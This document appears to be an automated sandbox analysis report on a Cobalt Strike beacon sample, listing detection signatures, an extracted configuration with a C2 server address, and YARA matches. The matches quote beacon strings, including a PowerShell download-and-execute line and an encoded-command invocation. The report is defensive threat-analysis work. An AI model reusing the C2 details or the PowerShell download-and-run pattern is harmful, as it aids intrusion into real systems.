Play interactive tour

Edit tour

Windows Analysis Report beacon.exe

Overview

General Information

Sample Name:	beacon.exe
Analysis ID:	477089
MD5:	8d8d168e25d41e2d4304c08cb3105d9b
SHA1:	95b5faae967015333cf1a5e3849f437e4122a054
SHA256:	669fcafcaf217a0ae7776d1c98b6cbb4fd75fb97b12965185136a09c7bfc0ef2
Tags:	BeaconCobaltStrikeexe
Infos:
Most interesting Screenshot:

Detection

CobaltStrike

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Sigma detected: CobaltStrike Named Pipe

Antivirus / Scanner detection for submitted sample

Yara detected CobaltStrike

Machine Learning detection for sample

C2 URLs / IPs found in malware configuration

Contains functionality to detect sleep reduction / modifications

Uses 32bit PE files

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Contains functionality to execute programs as a different user

Detected potential crypto function

Found potential string decryption / allocating functions

Contains functionality to launch a process as a different user

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to dynamically determine API calls

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a DirectInput object (often for capturing keystrokes)

Contains functionality to read the PEB

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Uses Microsoft's Enhanced Cryptographic Provider

May check if the current machine is a sandbox (GetTickCount - Sleep)

Classification

Process Tree

System is w10x64

beacon.exe (PID: 5204 cmdline: 'C:\Users\user\Desktop\beacon.exe' MD5: 8D8D168E25D41E2D4304C08CB3105D9B)

cleanup

Malware Configuration

Threatname: CobaltStrike

{"BeaconType": ["HTTPS"], "Port": 33287, "SleepTime": 60000, "MaxGetSize": 1048576, "Jitter": 0, "C2Server": "185.156.73.37,/j.ad", "HttpPostUri": "/submit.php", "Malleable_C2_Instructions": [], "SpawnTo": "AAAAAAAAAAAAAAAAAAAAAA==", "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\rundll32.exe", "Spawnto_x64": "%windir%\\sysnative\\rundll32.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 426352781, "bStageCleanup": "False", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "True", "bProcInject_UseRWX": "True", "bProcInject_MinAllocSize": 0, "ProcInject_PrependAppend_x86": "Empty", "ProcInject_PrependAppend_x64": "Empty", "ProcInject_Execute": ["CreateThread", "SetThreadContext", "CreateRemoteThread", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "VirtualAllocEx", "bUsesCookies": "True", "HostHeader": ""}

Yara Overview

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp	HKTL_Meterpreter_inMemory	Detects Meterpreter in-memory	netbiosX, Florian Roth	0x2ecfe:$xs1: WS2_32.dll 0x2f1ce:$xs2: ReflectiveLoader
00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp	ReflectiveLoader	Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended	Florian Roth	0x2f1ce:$x1: ReflectiveLoader
00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x2d4fb:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2d545:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x2d31e:$x3: %d is an x86 process (can't inject x64 content) 0x2ccd6:$s1: Could not open process token: %d (%u) 0x2c9f0:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2cd99:$s4: Could not connect to pipe (%s): %d
00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x2d2ee:$x2: %d is an x64 process (can't inject x86 content) 0x2d636:$x3: Failed to impersonate logged on user %d (%u) 0x2d545:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2d4fb:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2cc5c:$s3: could not run command (w/ token) because of its length of %d bytes! 0x2d255:$s4: could not write to process memory: %d 0x2c9f0:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2cd99:$s6: Could not connect to pipe (%s): %d
00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp	Malware_QA_vqgk	VT Research QA uploaded malware - file vqgk.dll	Florian Roth	0x2d31e:$x3: %d is an x86 process (can't inject x64 content) 0x2d2ee:$x4: %d is an x64 process (can't inject x86 content) 0x2d545:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2ccd6:$s2: Could not open process token: %d (%u) 0x2d636:$s5: Failed to impersonate logged on user %d (%u) 0x2d4fb:$s6: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2d255:$s7: could not write to process memory: %d 0x2f1c2:$s8: beacon.dll 0x2d5df:$s9: Failed to impersonate token from %d (%u)
00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x2d561:$sa2: -EncodedCommand 0x2d54f:$sc1: -nop 0x2d554:$se2: -exec bypass 0x2d554:$se4: -exec bypass
00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp	CobaltStrike_C2_Encoded_XOR_Config_Indicator	Detects CobaltStrike C2 encoded profile configuration	yara@s3c.za.net	0x30220:$s046: 2E 2F 2E 2F 2E 2C 2E 26 2E 2C 2E 2F 2E 2C AC 29 2E 2D 2E 2C 2E 2A 2E 2E C4 4E 2E 2A 2E 2C 2E 2A ...
00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x2f1ce:$loader_export: ReflectiveLoader 0x2f1c2:$exportname: beacon.dll
00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x2d545:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2d31e:$x2: %d is an x86 process (can't inject x64 content) 0x2d4fb:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2d5df:$x4: Failed to impersonate token from %d (%u) 0x2d636:$x5: Failed to impersonate logged on user %d (%u) 0x2c9f0:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
00000000.00000002.508059317.0000000000690000.00000020.00000001.sdmp	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x2d9c8:$str1: %s (admin) 0x2f1c2:$str2: beacon.dll
00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp	HKTL_Meterpreter_inMemory	Detects Meterpreter in-memory	netbiosX, Florian Roth	0x306fe:$xs1: WS2_32.dll 0x30bce:$xs2: ReflectiveLoader
00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp	ReflectiveLoader	Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended	Florian Roth	0x30bce:$x1: ReflectiveLoader
00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x2eefb:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2ef45:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x2ed1e:$x3: %d is an x86 process (can't inject x64 content) 0x2e6d6:$s1: Could not open process token: %d (%u) 0x2e3f0:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2e799:$s4: Could not connect to pipe (%s): %d
00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x2ecee:$x2: %d is an x64 process (can't inject x86 content) 0x2f036:$x3: Failed to impersonate logged on user %d (%u) 0x2ef45:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2eefb:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2e65c:$s3: could not run command (w/ token) because of its length of %d bytes! 0x2ec55:$s4: could not write to process memory: %d 0x2e3f0:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2e799:$s6: Could not connect to pipe (%s): %d
00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp	Malware_QA_vqgk	VT Research QA uploaded malware - file vqgk.dll	Florian Roth	0x2ed1e:$x3: %d is an x86 process (can't inject x64 content) 0x2ecee:$x4: %d is an x64 process (can't inject x86 content) 0x2ef45:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2e6d6:$s2: Could not open process token: %d (%u) 0x2f036:$s5: Failed to impersonate logged on user %d (%u) 0x2eefb:$s6: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2ec55:$s7: could not write to process memory: %d 0x30bc2:$s8: beacon.dll 0x2efdf:$s9: Failed to impersonate token from %d (%u)
00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x2ef61:$sa2: -EncodedCommand 0x2ef4f:$sc1: -nop 0x2ef54:$se2: -exec bypass 0x2ef54:$se4: -exec bypass
00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x30bce:$loader_export: ReflectiveLoader 0x30bc2:$exportname: beacon.dll
00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x2ef45:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2ed1e:$x2: %d is an x86 process (can't inject x64 content) 0x2eefb:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2efdf:$x4: Failed to impersonate token from %d (%u) 0x2f036:$x5: Failed to impersonate logged on user %d (%u) 0x2e3f0:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x2f3c8:$str1: %s (admin) 0x30bc2:$str2: beacon.dll
Process Memory Space: beacon.exe PID: 5204	HKTL_Meterpreter_inMemory	Detects Meterpreter in-memory	netbiosX, Florian Roth	0x177d1:$xs1: WS2_32.dll 0xbf2b:$xs2: ReflectiveLoader
Process Memory Space: beacon.exe PID: 5204	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0xb6fc:$sa2: -EncodedCommand 0xb6ea:$sc1: -nop 0xb6ef:$se2: -exec bypass 0xb6ef:$se4: -exec bypass
Process Memory Space: beacon.exe PID: 5204	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0xbf2b:$loader_export: ReflectiveLoader 0xbf20:$exportname: beacon.dll
Process Memory Space: beacon.exe PID: 5204	JoeSecurity_CobaltStrike_1	Yara detected CobaltStrike	Joe Security
Process Memory Space: beacon.exe PID: 5204	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
Click to see the 22 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.beacon.exe.690000.1.raw.unpack	HKTL_Meterpreter_inMemory	Detects Meterpreter in-memory	netbiosX, Florian Roth	0x2ecfe:$xs1: WS2_32.dll 0x2f1ce:$xs2: ReflectiveLoader
0.2.beacon.exe.690000.1.raw.unpack	ReflectiveLoader	Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended	Florian Roth	0x2f1ce:$x1: ReflectiveLoader
0.2.beacon.exe.690000.1.raw.unpack	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x2d4fb:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2d545:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x2d31e:$x3: %d is an x86 process (can't inject x64 content) 0x2ccd6:$s1: Could not open process token: %d (%u) 0x2c9f0:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2cd99:$s4: Could not connect to pipe (%s): %d
0.2.beacon.exe.690000.1.raw.unpack	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x2d2ee:$x2: %d is an x64 process (can't inject x86 content) 0x2d636:$x3: Failed to impersonate logged on user %d (%u) 0x2d545:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2d4fb:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2cc5c:$s3: could not run command (w/ token) because of its length of %d bytes! 0x2d255:$s4: could not write to process memory: %d 0x2c9f0:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2cd99:$s6: Could not connect to pipe (%s): %d
0.2.beacon.exe.690000.1.raw.unpack	Malware_QA_vqgk	VT Research QA uploaded malware - file vqgk.dll	Florian Roth	0x2d31e:$x3: %d is an x86 process (can't inject x64 content) 0x2d2ee:$x4: %d is an x64 process (can't inject x86 content) 0x2d545:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2ccd6:$s2: Could not open process token: %d (%u) 0x2d636:$s5: Failed to impersonate logged on user %d (%u) 0x2d4fb:$s6: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2d255:$s7: could not write to process memory: %d 0x2f1c2:$s8: beacon.dll 0x2d5df:$s9: Failed to impersonate token from %d (%u)
0.2.beacon.exe.690000.1.raw.unpack	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x2d561:$sa2: -EncodedCommand 0x2d54f:$sc1: -nop 0x2d554:$se2: -exec bypass 0x2d554:$se4: -exec bypass
0.2.beacon.exe.690000.1.raw.unpack	CobaltStrike_C2_Encoded_XOR_Config_Indicator	Detects CobaltStrike C2 encoded profile configuration	yara@s3c.za.net	0x30220:$s046: 2E 2F 2E 2F 2E 2C 2E 26 2E 2C 2E 2F 2E 2C AC 29 2E 2D 2E 2C 2E 2A 2E 2E C4 4E 2E 2A 2E 2C 2E 2A ...
0.2.beacon.exe.690000.1.raw.unpack	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x2f1ce:$loader_export: ReflectiveLoader 0x2f1c2:$exportname: beacon.dll
0.2.beacon.exe.690000.1.raw.unpack	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x2d545:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2d31e:$x2: %d is an x86 process (can't inject x64 content) 0x2d4fb:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2d5df:$x4: Failed to impersonate token from %d (%u) 0x2d636:$x5: Failed to impersonate logged on user %d (%u) 0x2c9f0:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
0.2.beacon.exe.690000.1.raw.unpack	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
0.2.beacon.exe.690000.1.raw.unpack	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
0.2.beacon.exe.690000.1.raw.unpack	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x2d9c8:$str1: %s (admin) 0x2f1c2:$str2: beacon.dll
0.2.beacon.exe.860000.2.unpack	HKTL_Meterpreter_inMemory	Detects Meterpreter in-memory	netbiosX, Florian Roth	0x2ecfe:$xs1: WS2_32.dll 0x2f1ce:$xs2: ReflectiveLoader
0.2.beacon.exe.860000.2.unpack	ReflectiveLoader	Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended	Florian Roth	0x2f1ce:$x1: ReflectiveLoader
0.2.beacon.exe.860000.2.unpack	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x2d4fb:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2d545:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x2d31e:$x3: %d is an x86 process (can't inject x64 content) 0x2ccd6:$s1: Could not open process token: %d (%u) 0x2c9f0:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2cd99:$s4: Could not connect to pipe (%s): %d
0.2.beacon.exe.860000.2.unpack	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x2d2ee:$x2: %d is an x64 process (can't inject x86 content) 0x2d636:$x3: Failed to impersonate logged on user %d (%u) 0x2d545:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2d4fb:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2cc5c:$s3: could not run command (w/ token) because of its length of %d bytes! 0x2d255:$s4: could not write to process memory: %d 0x2c9f0:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2cd99:$s6: Could not connect to pipe (%s): %d
0.2.beacon.exe.860000.2.unpack	Malware_QA_vqgk	VT Research QA uploaded malware - file vqgk.dll	Florian Roth	0x2d31e:$x3: %d is an x86 process (can't inject x64 content) 0x2d2ee:$x4: %d is an x64 process (can't inject x86 content) 0x2d545:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2ccd6:$s2: Could not open process token: %d (%u) 0x2d636:$s5: Failed to impersonate logged on user %d (%u) 0x2d4fb:$s6: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2d255:$s7: could not write to process memory: %d 0x2f1c2:$s8: beacon.dll 0x2d5df:$s9: Failed to impersonate token from %d (%u)
0.2.beacon.exe.860000.2.unpack	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x2d561:$sa2: -EncodedCommand 0x2d54f:$sc1: -nop 0x2d554:$se2: -exec bypass 0x2d554:$se4: -exec bypass
0.2.beacon.exe.860000.2.unpack	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x2f1ce:$loader_export: ReflectiveLoader 0x2f1c2:$exportname: beacon.dll
0.2.beacon.exe.860000.2.unpack	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x2d545:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2d31e:$x2: %d is an x86 process (can't inject x64 content) 0x2d4fb:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2d5df:$x4: Failed to impersonate token from %d (%u) 0x2d636:$x5: Failed to impersonate logged on user %d (%u) 0x2c9f0:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
0.2.beacon.exe.860000.2.unpack	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
0.2.beacon.exe.860000.2.unpack	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x2d9c8:$str1: %s (admin) 0x2f1c2:$str2: beacon.dll
0.2.beacon.exe.860000.2.raw.unpack	HKTL_Meterpreter_inMemory	Detects Meterpreter in-memory	netbiosX, Florian Roth	0x306fe:$xs1: WS2_32.dll 0x30bce:$xs2: ReflectiveLoader
0.2.beacon.exe.860000.2.raw.unpack	ReflectiveLoader	Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended	Florian Roth	0x30bce:$x1: ReflectiveLoader
0.2.beacon.exe.860000.2.raw.unpack	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x2eefb:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2ef45:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x2ed1e:$x3: %d is an x86 process (can't inject x64 content) 0x2e6d6:$s1: Could not open process token: %d (%u) 0x2e3f0:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2e799:$s4: Could not connect to pipe (%s): %d
0.2.beacon.exe.860000.2.raw.unpack	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x2ecee:$x2: %d is an x64 process (can't inject x86 content) 0x2f036:$x3: Failed to impersonate logged on user %d (%u) 0x2ef45:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2eefb:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2e65c:$s3: could not run command (w/ token) because of its length of %d bytes! 0x2ec55:$s4: could not write to process memory: %d 0x2e3f0:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2e799:$s6: Could not connect to pipe (%s): %d
0.2.beacon.exe.860000.2.raw.unpack	Malware_QA_vqgk	VT Research QA uploaded malware - file vqgk.dll	Florian Roth	0x2ed1e:$x3: %d is an x86 process (can't inject x64 content) 0x2ecee:$x4: %d is an x64 process (can't inject x86 content) 0x2ef45:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2e6d6:$s2: Could not open process token: %d (%u) 0x2f036:$s5: Failed to impersonate logged on user %d (%u) 0x2eefb:$s6: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2ec55:$s7: could not write to process memory: %d 0x30bc2:$s8: beacon.dll 0x2efdf:$s9: Failed to impersonate token from %d (%u)
0.2.beacon.exe.860000.2.raw.unpack	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x2ef61:$sa2: -EncodedCommand 0x2ef4f:$sc1: -nop 0x2ef54:$se2: -exec bypass 0x2ef54:$se4: -exec bypass
0.2.beacon.exe.860000.2.raw.unpack	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x30bce:$loader_export: ReflectiveLoader 0x30bc2:$exportname: beacon.dll
0.2.beacon.exe.860000.2.raw.unpack	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x2ef45:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2ed1e:$x2: %d is an x86 process (can't inject x64 content) 0x2eefb:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2efdf:$x4: Failed to impersonate token from %d (%u) 0x2f036:$x5: Failed to impersonate logged on user %d (%u) 0x2e3f0:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
0.2.beacon.exe.860000.2.raw.unpack	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
0.2.beacon.exe.860000.2.raw.unpack	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x2f3c8:$str1: %s (admin) 0x30bc2:$str2: beacon.dll
0.2.beacon.exe.690000.1.unpack	HKTL_Meterpreter_inMemory	Detects Meterpreter in-memory	netbiosX, Florian Roth	0x2d2fe:$xs1: WS2_32.dll 0x2d7ce:$xs2: ReflectiveLoader
0.2.beacon.exe.690000.1.unpack	ReflectiveLoader	Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended	Florian Roth	0x2d7ce:$x1: ReflectiveLoader
0.2.beacon.exe.690000.1.unpack	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x2bafb:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2bb45:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x2b91e:$x3: %d is an x86 process (can't inject x64 content) 0x2b2d6:$s1: Could not open process token: %d (%u) 0x2aff0:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2b399:$s4: Could not connect to pipe (%s): %d
0.2.beacon.exe.690000.1.unpack	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x2b8ee:$x2: %d is an x64 process (can't inject x86 content) 0x2bc36:$x3: Failed to impersonate logged on user %d (%u) 0x2bb45:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2bafb:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2b25c:$s3: could not run command (w/ token) because of its length of %d bytes! 0x2b855:$s4: could not write to process memory: %d 0x2aff0:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2b399:$s6: Could not connect to pipe (%s): %d
0.2.beacon.exe.690000.1.unpack	Malware_QA_vqgk	VT Research QA uploaded malware - file vqgk.dll	Florian Roth	0x2b91e:$x3: %d is an x86 process (can't inject x64 content) 0x2b8ee:$x4: %d is an x64 process (can't inject x86 content) 0x2bb45:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2b2d6:$s2: Could not open process token: %d (%u) 0x2bc36:$s5: Failed to impersonate logged on user %d (%u) 0x2bafb:$s6: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2b855:$s7: could not write to process memory: %d 0x2d7c2:$s8: beacon.dll 0x2bbdf:$s9: Failed to impersonate token from %d (%u)
0.2.beacon.exe.690000.1.unpack	PowerShell_Susp_Parameter_Combo	Detects PowerShell invocation with suspicious parameters	Florian Roth	0x2bb61:$sa2: -EncodedCommand 0x2bb4f:$sc1: -nop 0x2bb54:$se2: -exec bypass 0x2bb54:$se4: -exec bypass
0.2.beacon.exe.690000.1.unpack	CobaltStrike_C2_Encoded_XOR_Config_Indicator	Detects CobaltStrike C2 encoded profile configuration	yara@s3c.za.net	0x2e820:$s046: 2E 2F 2E 2F 2E 2C 2E 26 2E 2C 2E 2F 2E 2C AC 29 2E 2D 2E 2C 2E 2A 2E 2E C4 4E 2E 2A 2E 2C 2E 2A ...
0.2.beacon.exe.690000.1.unpack	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x2d7ce:$loader_export: ReflectiveLoader 0x2d7c2:$exportname: beacon.dll
